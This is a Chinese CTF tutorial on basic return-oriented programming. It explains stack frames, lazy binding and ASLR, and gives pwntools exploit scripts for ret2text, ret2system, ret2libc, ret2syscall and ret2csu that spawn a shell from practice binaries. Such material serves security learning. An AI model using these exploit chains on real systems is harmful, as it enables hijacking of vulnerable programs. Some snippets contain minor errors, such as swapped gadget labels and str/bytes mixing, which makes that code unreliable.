技术分享

总述

本篇文章将讲解basic-ROP，来让新手用结合题目exp和图示法栈帧结构的方式来进行pwn基础的学习。

主要讲解了ret2text，ret2system，ret2libc，ret2syscall，ret2csu这些题目的基本结构和利用。

讲解了ROPgadget和LibcSearch这两个工具的使用。

讲解了程序中栈的结构，延迟绑定机制，ASLR（地址空间布局随机化）保护

希望这篇文章可以帮到你。

栈的结构

栈用于存储函数调用过程中的局部变量、函数参数、返回地址等信息。 当程序启动时，操作系统会为程序分配一块连续的内存区域作为栈空间。在大多数系统中，栈的生长方向是从高地址向低地址。

栈指针寄存器（ESP/RSP）

  • 情景：栈指针寄存器就像你在这摞书的最上面放了一个标记，它总是指向栈顶的位置。当你往栈里放一本书（压入数据）时，标记会向下移动；当你从栈里拿走一本书（弹出数据）时，标记会向上移动。
  • 对应到计算机：栈指针寄存器（如 x86 架构中的 ESP 或 64 位系统的 RSP）始终指向栈顶。每进行一次压栈操作，它的值会减小（因为栈是从高地址向低地址生长）；每进行一次出栈操作，它的值会增大。

基址指针寄存器（EBP/RBP）

  • 情景：基址指针寄存器就像你在这摞书中间的某一层放了一个固定的书签，用来标记一个函数栈帧的起始位置。通过这个书签，你可以方便地找到这一层附近的书（局部变量和参数）。
  • 对应到计算机：在函数调用时，会把当前的栈指针的值保存到基址指针寄存器（如 EBP 或 RBP）中，作为这个函数栈帧的基地址。函数可以通过基址指针和偏移量来访问局部变量和参数。比如，某个局部变量在基地址往下偏移 4 个字节的位置，就可以通过基址指针加上偏移量来找到这个变量。

栈帧在函数执行结束后不会被保留，其内存空间会被释放并可能被后续操作覆盖。以下是详细说明：

  • 创建：当函数被调用时，系统会为其分配栈帧（通过调整栈指针 RSP），用于存储参数、返回地址、保存的 RBP 以及局部变量。
  • 销毁：函数返回时，栈帧会被释放。具体操作包括：
    1. 通过 RET 指令恢复返回地址，跳回调用者。
    2. 恢复调用者的 RBP 值（从栈中弹出）。
    3. 调整 RSP 指针，将栈顶移回调用前的位置，释放当前函数的栈帧空间。

栈帧是临时的，仅在函数执行期间存在。函数返回后，其栈帧会被释放，内存空间会被后续操作覆盖。

以下面函数为例：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
void vuln() {
    char buf[100];
    scanf("%s", buf);
    printf("Hello, %s\n", buf);
}
void vuln2() {
    char buf[100];
    scanf("%s", buf);
    printf("Hello, %s\n", buf);
    vuln();			//函数内部再次调用函数
}
int main() {
    print("1次输入:")
    vuln();			//第一个函数
    print("2次输入:")
    vuln2();		//第二个函数
    return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
高地址
+---------------------+
|    main的局部变量    | 
+---------------------+
|   main的返回地址     | 
+---------------------+
|   保存的main的EBP    | 
+---------------------+ <--- EBP (vuln栈帧起始)
|     vuln的buf[100]   | 
+---------------------+
|  保存的vuln的EBP     | 
+---------------------+
|   vuln的返回地址     | <--- main中调用vuln()的返回地址
+---------------------+ <--- ESP (栈顶)
|    vuln2的buf[100]   | <--- vuln2栈帧
+---------------------+
|  保存的vuln2的EBP    | 
+---------------------+
|  vuln2的返回地址     | <--- vuln中调用vuln2()的返回地址
+---------------------+
|     vuln的buf[100]   | <--- 嵌套调用vuln()的新栈帧
+---------------------+
|  保存的vuln的EBP     | 
+---------------------+
|   vuln的返回地址     | <--- vuln2中调用vuln()的返回地址
+---------------------+ <--- 新ESP
低地址

如图所示：

调用了三次内部的函数，只有调用的函数才会被分配栈帧。在执行完成一个函数后会去调用函数内部引用的函数，当内部全部执行完成后再去下一个函数。所以是:

main-> ( vuln -> vuln2 ->(vuln) ) 由高到底去执行。

随着 NX (Non-eXecutable) 保护的开启，传统的直接向栈或者堆上直接注入代码的方式难以继续发挥效果，由此攻击者们也提出来相应的方法来绕过保护。

目前被广泛使用的攻击手法是 返回导向编程 (Return Oriented Programming)，其主要思想是在 栈缓冲区溢出的基础上，利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值，从而控制程序的执行流程。

接下来我们就学习一些关于ROP的技巧和方法。

ret2text

栈溢出：利用数据覆盖到ret的返回地址上面实现任意地址读，来实现控制程序执行流。

同样使用上面的程序作为例子：若vuln的返回地址被改写成了main函数的开始位置，那么在vuln函数执行完成之后就会去跳转回main函数，而不会执行下面的print语句。

1742893584554

对于该程序我们可以利用栈溢出把返回地址改写成backdoor的地址，然后去获得shell。

对应的exp为：

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

binary_path = "/home/feeling/ctf/exam/ret2backdoor/pwn_program2"
e = ELF(binary_path)

io = process(binary_path)
door = 0x401156		#目标地址
ret = 0x401110		#ret指令的地址
offset = 0x20 + 8   #覆盖垃圾数据的量==原本的数组量+main函数rbp的值
payload=b'a'*offset+p64(ret)+p64(door)

io.sendline(payload)
io.interactive()

ret指令的核心功能

  • 作用机制

    （return）指令从当前函数返回调用者，具体操作：

    1. 弹出返回地址：从栈顶（ESP指向的位置）读取4字节（32位系统）或8字节（64位系统）作为返回地址。
    2. 跳转执行：将程序计数器（EIP/RIP）设置为弹出的地址，实现控制流转移。

  • 与call的对应：call指令调用函数时会压入返回地址，ret则逆向完成这一过程。

为何需要ret后才能跳转？

  • 栈溢出攻击通过覆盖返回地址（位于栈帧中保存的EIP位置）来劫持程序流。
  • 攻击者需等待函数执行到ret指令时，系统主动从栈中加载返回地址到EIP，此时被覆盖的恶意地址才会生效。

ret2system

先介绍两个函数原型等会利用：

1
2
3
4
5
6
#gets函数原型
char *gets(char *str);

#system函数原型
int system(const char *command);

现在可以利用栈溢出来控制程序执行流了，我们就可以跳转去执行我们的指令。

没有现成的backdoor但是有system函数和bin/sh字段可以调用，我们可以手动构建一个backdoor。

构建的backdoor在栈帧里面大概如下图：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
+---------------------+
|    main的局部变量    | 
+---------------------+
|   main的返回地址     | 
+---------------------+
|   保存的main的EBP    | 
+---------------------+ <--- EBP (vuln栈帧起始)
|     vuln的buf[100]  | 
+---------------------+
|  保存的vuln的EBP     | 
+---------------------+
|   vuln的返回地址     | <--- 覆盖成system的地址
+---------------------+ 
|  	system函数的返回地址| <--- 覆盖一个什么都可以p32(0)或p64(0)对齐
+---------------------+
|  新函数的第一个参数    | <--- 覆盖bin/sh地址用作参数 
+---------------------+ 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#32位
#如果是正常调用 system 函数，我们调用的时候会有一个对应的返回地址，使用 p32 函数将整数值0转换为4字节的字符串。这个字符串将作为 system 函数的第二个参数，用于提供一个指向空值的指针作为 system 函数的第二个参数。当然在这里使用其他任意4个字符进行覆盖也可以 如‘aaaa’,’bbbb’等均可。 p32(bin_sh) : 这部分使用 p32 函数将 bin_sh 的地址转换为一个4字节的字符串。 bin_sh 通常是指向包含要执行的命令的字符串（如 /bin/sh ）的指针。该字符串将作为 system 函数的第一个参数。
system = elf.sym['system']
bin_sh = 0x8048750#查找地址
offset = 0x12+4
payload = 'a'*offset + p32(system) + p32(0) + p32(bin_sh)
io.sendline(payload)

#64位
#与32位不同的是它的穿参方式不同，需要利用pop rdi和ret这两个指令实现参数传递
#pop_rdi 指令用于将值从栈上弹出并存储到寄存器rdi中。在这个payload中，它用于准备传递 给 system 函数的第一个参数。
elf = ELF('./pwn')
system = elf.sym['system']		#system函数的地址
bin_sh = 0x400808	#  "bin/sh"的地址
pop_rdi = 0x4007e3  #  pop rdi ; ret
ret = 0x4004fe      #  ret 

payload = 'a'*(0xA+8) + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system)
io.sendline(payload)
#可以用sh代替bin/sh
#sh还可以等价于$0

再进一步如果连”bin/sh”这个字符串都没有的话，我们也可以去构建一个bin/sh，然后再去构建我们自己想要的后门。还是利用栈帧图我们更好理解：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
+---------------------+ <--- 低地址（栈顶）
|    main的局部变量    | 
+---------------------+
|   main的返回地址     | 
+---------------------+
|   保存的main的EBP    | 
+---------------------+ <--- EBP (vuln栈帧起始)
|     vuln的buf[100]  | 
+---------------------+
|  保存的vuln的EBP     | 
+---------------------+
|   vuln的返回地址     | <--- 被覆盖为 gets() 地址（控制流劫持点）
+---------------------+ 
|   gets的返回地址     | <--- 覆盖为 pop_ebx; ret 的 gadget（清理参数）
+---------------------+
|  gets的参数1 (buf2)  | <--- 写入 "/bin/sh" 的目标地址（如 .bss 段）
+---------------------+    
|   system() 地址      | <--- gets() 返回后跳转到这里（pop_ebx 后执行）
+---------------------+ 
|   system的返回地址    | <--- 填充 p32(0)（占位，无实际作用）
+---------------------+
|  system的参数1       | <--- 指向 buf2（已写入 "/bin/sh"）
+---------------------+ <--- 高地址（栈底）

下面是具体的exp脚本：可以一一对应。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
#当没有bin/sh和sh的字符串时，我们可以利用现有的发送去发送一个bin/sh
#32位
elf = ELF('./pwn')
system = elf.sym['system']
buf2 = 0x804B060 #bss段
gets = elf.sym['gets']
pop_ebx = 0x8048409     # 0x08048409 : pop ebx ; ret

payload = cyclic(0x6c+4) + p32(gets) + p32(pop_ebx) + p32(buf2) + p32(system) + p32(0) + p32(buf2)

io.sendline(payload) 
io.sendline("/bin/sh")
#还可以
'''
p=process('./ret2libc2')
sys_addr=0x8048490
get_addr=0x8048460
bss_addr=0x804A080
payload = 'a'*112 +p32(get_addr)+p32(sys_addr)+p32(bss_addr)+p32(bss_addr)
p.sendline(payload)
p.sendline('/bin/sh')
p.interactive()
'''
#64位多了一个pop rdi和buf2的地址在gets函数前
elf = ELF('./pwn')
system = elf.sym['system']
buf2 = 0x602080
gets = elf.sym['gets']
pop_rdi = 0x4007f3     # 0x00000000004007f3 : pop rdi ; ret

payload = cyclic(0xA + 8) + p64(pop_rdi) + p64(buf2) + p64(gets) + p64(pop_rdi) + p64(buf2) + p64(system) + p64(0) + p64(buf2)

io.sendline(payload) 
io.sendline("/bin/sh")

ret2libc

在很多时候，我们程序中肯定不会留出后门函数system的，这时候，我们即没有system函数，也没有”\bin\sh”的字符串，这时候我们该如何利用漏洞呢？

比如说，我们在一个C语言程序中调用了printf函数，这个函数不是我们自己实现的，而是使用了链接库，但是这里有一个问题，使用链接库的时候，链接库所有的函数都被加载进来了，也就是说，system函数也被加载进来了，这时候我们就就可以使用system函数了。

在使用连接库内部的函数是还有一个问题，就是我们怎么去寻找这个函数在链接库内的位置。

接下来要介绍两个概念一个是延迟绑定机制，一个是ASLR（地址空间布局随机化）保护。

延迟绑定:

在链接库内部有很多函数，一个程序不是所有函数都要使用，如果我们都加载出来会非常影响我们程序的效率。延迟绑定就是为了解决这个问题。

延迟绑定（Lazy Binding）是一种动态链接技术。在动态链接中，程序所依赖的共享库函数在运行时才会被链接到程序中。如果在程序启动时就将所有依赖的共享库函数都进行绑定（即确定函数的实际地址），会增加程序的启动时间。延迟绑定机制则是将函数地址的绑定推迟到该函数第一次被调用时进行。

比如print（）函数就是在glibc库里面的 ，只有当程序运行起来的时候才知道地址。我们只有获得print的重定位地址才可以去执行他。在这个时候链接器会生成一小段额外代码去执行跳转到print函数的地方去。所以我们需要两个数据来去获得print函数的执行。

一个是got 表全局偏移表，里面存放了print（外部函数的数据的表）也就是真实的地址。

一个是plt表程序链接表，里面存放了去找print（定位外部函数的额外程序的表）是定位的地址

pEs3grn.png

简单来说就是链接库内的函数一开始时地址时未知的，可以认为就是随机的。那么我们的目标函数system也就找不到了，但是好在每一次随机的地址都是libc的基地址，链接库内的函数地址都是根据一个基地址的相对偏移来定位。

假设print真实地址==基地址+1，

system真实地址==基地址+12，

那么system==print真实地址+11.

我们如果获得了print的真实地址。利用真实地址减去偏移量就可以获得基地址，再用基地址去加上我们目标函数的偏移量，就可以获得目标函数的真实地址。

ASLR

地址空间布局随机化，在我们知道如何利用libc动态链接库去获得想要的system函数时，开发人员为了保护程序也有对应的保护措施，就是这个。

ASLR（Address Space Layout Randomization，地址空间布局随机化）是一种 内存安全防护技术，通过 随机化程序关键数据区域（如栈、堆、libc）在内存中的加载地址，防止攻击者可靠地定位并利用内存漏洞（如缓冲区溢出、ROP攻击）。

  • 核心目标：增加漏洞利用的难度，使攻击者无法预测目标函数或数据的准确地址。

  • 随机化范围

    • 栈（Stack）：函数返回地址、局部变量的位置随机化。
    • 堆（Heap）：动态分配的内存块基地址随机化。
    • 共享库（如libc）：库函数的加载地址随机化。

例题解析

静态寻找（无 ASLR 时）

  • 方法
    • 使用 gdb 调试目标程序，找到某个 libc 函数（如 puts、printf）的运行时地址 a（通常高位为 0x7f）。
    • 用 IDA 打开 libc.so 文件，查找该函数的 偏移地址 b。
    • libc 基地址 = a - b。
  • 适用场景
    • 适用于 ASLR 关闭 的情况（如某些 CTF 题目）。

动态寻找（ASLR 开启时）

  • 方法

    • 通过 泄露 libc 函数地址（如利用 puts(puts@got) 泄露 puts 的实际地址）。

    • 使用 LibcSearcher 或 在线查询工具 匹配泄露的地址，确定 libc 版本。

      1
      2
      3
      4
      5
      6
      from LibcSearcher import LibcSearcher
      # 输入泄露的函数名和地址
      leak_func = "puts"
      leak_addr = 0x7f8a3b02a420
      # 初始化查询器
      libc = LibcSearcher(leak_func, leak_addr)

    • 根据 libc 版本，计算目标函数的偏移量，最终得到基地址：

      1
      2
      libc_base = leaked_puts_addr - libc.symbols['puts']
      system_addr = libc_base + libc.symbols['system']

  • 适用场景

    • 现实世界或 ASLR 开启 的环境 。

我们可以再次写一个类似的栈帧空间：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
+---------------------+ <--- 低地址（栈顶）
|    main的局部变量    | 
+---------------------+
|   main的返回地址     | 
+---------------------+
|   保存的main的EBP    | 
+---------------------+ <--- EBP (vuln栈帧起始)
|     vuln的buf[100]  | 
+---------------------+
|  保存的vuln的EBP     | 
+---------------------+
|   vuln的返回地址     | <--- 被覆盖为 puts_plt
+---------------------+ 
|   puts的返回地址     | <--- main为第二次攻击做准备
+---------------------+
|  gets的参数1 (buf2)  | <--- 写入puts_got即puts真实地址作为puts函数的参数
+---------------------+
然后就可以利用puts把puts的真实地址打印出来，然后去计算libc基地址。然后我们还回到了main没有改变其他的，也就是libc基地址没变。

第二次去main去getshell
+---------------------+
|    main的局部变量    | 
+---------------------+
|   main的返回地址     | 
+---------------------+
|   保存的main的EBP    | 
+---------------------+ <--- EBP (vuln栈帧起始)
|     vuln的buf[100]  | 
+---------------------+
|  保存的vuln的EBP     | 
+---------------------+
|   vuln的返回地址     | <--- 覆盖成system的地址
+---------------------+ 
|  	system函数的返回地址| <--- 覆盖一个什么都可以p32(0)或p64(0)对齐
+---------------------+
|  新函数的第一个参数    | <--- 覆盖bin/sh地址用作参数 
+---------------------+

对应的exp如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
#32位
e = ELF("./ret2libc3_32")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") #确定libc库并解析
p = process("./ret2libc3_32")

puts_plt = e.plt['puts'] #puts函数的入口地址
puts_got = e.got['puts']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
payload1 = b'a' * 112 + p32(puts_plt) + p32(start_addr) + p32(puts_got)

p.sendlineafter("Can you find it !?", payload1)
puts_real_addr = u32(p.recv()[0:4])  #接收puts的真实地址，占4个字节
libc_addr = puts_real_addr - libc.sym['puts'] #计算libc库的基地址
print(hex(libc_addr))
system_addr = libc_addr + libc.sym["system"] #计算system函数的真实地址
binsh_addr = libc_addr + next(libc.search(b"/bin/sh"))  #计算binsh字符串的真实地址
payload2 = b'a' * 112 + p32(system_addr) + p32(0) + p32(binsh_addr)

#64位
pop_rdi_ret_addr = 0x400783 #多了一个pop rdi来控制函数地址
puts_plt = e.plt['puts'] #puts函数的入口地址
read_got = e.got['read']  #puts函数的got表地址
start_addr = e.symbols['_start'] #程序的起始地址
offset = 88

payload = b"a" * offset
payload += p64(pop_rdi_ret_addr)
payload += p64(read_got)
payload += p64(puts_plt)
payload += p64(start_addr)
p.send(payload)

read_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base = read_real_addr - libc.sym["read"]
print("libc_base: ", hex(libc_base))
system_addr = libc_base + libc.sym["system"]
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a" * offset
payload += p64(0x400509) #需要添加一个ret，仅仅用于栈平衡
payload += p64(pop_rdi_ret_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)
p.recv()
p.send(payload)
p.interactive()

提示，libc的基地址的末尾一般是000结尾的，我们可以打印出它的16进制表示，来验证一下是不是真的算对了。

ret2syscall

有些题目连动态链接库都不给我们呢？在接下来的学习中我们不能简单利用栈的执行去getshell了。我们要利用很多关于程序本身的机制很功能来实现go2backdoor。

介绍一个工具：

ROPgadget

1
2
3
4
5
6
7
# 通过pip安装
pip install ROPgadget

# 或者从GitHub克隆源码
git clone https://github.com/JonathanSalwan/ROPgadget.git
cd ROPgadget
python setup.py install

基本使用：

1
2
3
4
5
6
7
8
9
10
11
12
# 搜索二进制文件中的所有gadgets
ROPgadget --binary <目标文件>

# 搜索特定指令（如pop eax）
ROPgadget --binary vuln | grep "pop eax"

# 查找字符串（如/bin/sh）
ROPgadget --binary vuln --string "/bin/sh"

# 查找系统调用指令（int 0x80/syscall）
ROPgadget --binary vuln --only "int|syscall"

ROPgadget 是 ROP攻击开发的核心工具，其优势在于：

  • 快速定位关键指令片段。
  • 支持多平台和多架构。
  • 自动化简化漏洞利用过程124。
    适用场景：二进制漏洞分析、CTF竞赛、渗透测试等。

例题解析

接下来就可以学习ret2syscall-系统调用。 ret2syscall（Return-to-System-Call）是一种ROP攻击技术，通过控制程序执行系统调用来获取系统权限（如执行/bin/sh）。其核心思想是利用程序中的代码片段（gadgets）构造系统调用所需的寄存器状态，最终触发系统调用指令。

系统调用基础

  • 系统调用机制：用户程序通过特定指令（32位：int 0x80；64位：syscall）请求内核服务。
  • 关键寄存器
    • 32位：eax（系统调用号），ebx、ecx、edx（参数）。
    • 64位：rax（调用号），rdi、rsi、rdx（参数）。
  • 常用调用：execve("/bin/sh",0,0)（32位调用号0x0b，64位0x3b）。

这个系统调用相当于 用户态请求内核态服务的“桥梁”。它允许应用程序执行需要更高权限的操作（如文件读写、进程管理、时间获取等） 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
#execve("/bin/sh",NULL,NULL)
这些小的汇编指令也就是gadget可以利用ROPgadget去寻找。
#32位syscall
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
io.sendline(payload)

#系统调用号，即 eax 应该为 0xb
#第一个参数，即 ebx 应该指向 /bin/sh 的地址，其实执行 sh 的地址也可以。
#第二个参数，即 ecx 应该为 0
#第三个参数，即 edx 应该为 0

#64位syscall利用系统调用号write去写入bin/sh到bss段，然后利用系统调用去execve("bin/sh",0,0)
#具体的gadget要去利用ROPgadget去寻找这里不赘诉
payload  = cyclic(0x50 + 8)   # Padding to overflow buffer
# Stage 1: Write "/bin/sh" to BSS (optional)
payload += p64(pop_rax) + p64(0x0)          # rax = 0 (sys_read)
payload += p64(pop_rdx_rsi) + p64(0x10) + p64(bss)  # rdx=16, rsi=bss
payload += p64(pop_rdi) + p64(0)            # rdi = stdin (0)
payload += p64(ret)                         # Alignment
payload += p64(syscall)                     # Call sys_read
# Stage 2: execve
payload += p64(pop_rax) + p64(0x3b)         # rax = 0x3b (execve)
payload += p64(pop_rdx_rsi) + p64(0) + p64(0)  # rdx=0, rsi=0
payload += p64(pop_rdi) + p64(bss)          # rdi = "/bin/sh"
payload += p64(ret)                         # Alignment
payload += p64(syscall)                     # Trigger execve
io.sendline(payload)
io.sendline(b"/bin/sh\x00")                 # Send "/bin/sh" to stdin

提供一个系统调用号的表格帮助实现更多操作。

系统调用功能 32位调用号 64位调用号 说明
execve 11 59 执行程序（Pwn中常用于触发shell）
exit 1 60 终止进程
read 3 0 从文件描述符读取数据（Pwn中用于输入）
write 4 1 向文件描述符写入数据（Pwn中用于输出）
open 5 2 打开文件
close 6 3 关闭文件描述符
fork 2 57 创建子进程
mmap 90 9 内存映射（Pwn中用于构造可执行内存区域）
mprotect 125 10 修改内存保护属性（Pwn中用于绕过NX）
socket 359 41 创建套接字（网络Pwn题常用）
sendfile 187 40 文件传输（Pwn中用于数据泄露）

ret2csu

在上面几个栈溢出的使用中我们可以发现我们常对各个函数出手，去使用他们，函数中有个很关键的点就是参数，设置好对应的参数才可以让函数为我们所用。

其实对于不同的架构下的程序，参数的存放也是有讲究的。如x86 与 x64 的区别：

x86 都是保存在栈上面的， 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中，如果还有更多的参数的话才会保存在栈上

x64程序里，函数的前 6 个参数是通过寄存器传递的，但是大多数时候，我们很难找到每一个寄存器对应的 gadgets。 这时候，我们可以利用 x64 下的 __libc_csu_init 中的 gadgets。 __libc_csu_init 主要用于 初始化 libc 和全局构造器 其核心功能是在 main 函数执行前完成必要的库初始化工作 。一句话，比较常见。

libc_csu_init内有两段gadget。

pEs3s2Q.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# Gadget 1: 控制寄存器的 pop 指令序列
pop    rbx
pop    rbp
pop    r12
pop    r13
pop    r14
pop    r15
ret

# Gadget 2: 设置参数并调用函数
mov    rdx, r15
mov    rsi, r14
mov    edi, r13d
call   qword ptr [r12 + rbx*8]

案例关于”利用csu去执行syscall来getshell“如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
#案例
from pwn import *
from LibcSearcher import LibcSearcher

#context.log_level = 'debug'

level5 = ELF('./level5')
sh = process('./level5')

write_got = level5.got['write']
read_got = level5.got['read']
main_addr = level5.symbols['main']
bss_base = level5.bss()
csu_front_addr = 0x0000000000400600
csu_end_addr = 0x000000000040061A
fakeebp = 'b' * 8

def csu(rbx, rbp, r12, r13, r14, r15, last):
    payload = 'a' * 0x80 + fakeebp          # 填充缓冲区
    payload += p64(csu_end_addr)            # 跳转到 Gadget 2
    payload += p64(rbx) + p64(rbp)          # rbx=0, rbp=1（绕过 cmp 检查）
    payload += p64(r12) + p64(r13)          # r12=目标函数地址，r13=rdx
    payload += p64(r14) + p64(r15)          # r14=rsi, r15=rdi
    payload += p64(csu_front_addr)          # 跳转到 Gadget 1
    payload += 'a' * 0x38                   # 填充 add rsp,8 和 6 pop
    payload += p64(last)                    # 返回地址（如 main）
    sh.send(payload)
    sleep(1)


sh.recvuntil('Hello, World\n')
## RDI, RSI, RDX, RCX, R8, R9, more on the stack
# 第一次调用：write(1, write_got, 8)
csu(0, 1, write_got, 8, write_got, 1, main_addr)
write_addr = u64(sh.recv(8))  # 接收 write 的真实地址
libc = LibcSearcher('write', write_addr)
libc_base = write_addr - libc.dump('write')
execve_addr = libc_base + libc.dump('execve')
log.success('execve_addr ' + hex(execve_addr))
##gdb.attach(sh)

## read(0,bss_base,16)
## read execve_addr and /bin/sh\x00
sh.recvuntil('Hello, World\n')
# 第二次调用：read(0, bss_base, 16)
csu(0, 1, read_got, 16, bss_base, 0, main_addr)
sh.send(p64(execve_addr) + '/bin/sh\x00')  # 写入 execve 地址和 /bin/sh

# 第三次调用：execve(bss_base+8, 0, 0)
sh.recvuntil('Hello, World\n')
csu(0, 1, bss_base, 0, 0, bss_base+8, main_addr)
sh.interactive()  # 获取 shell

sh.interactive()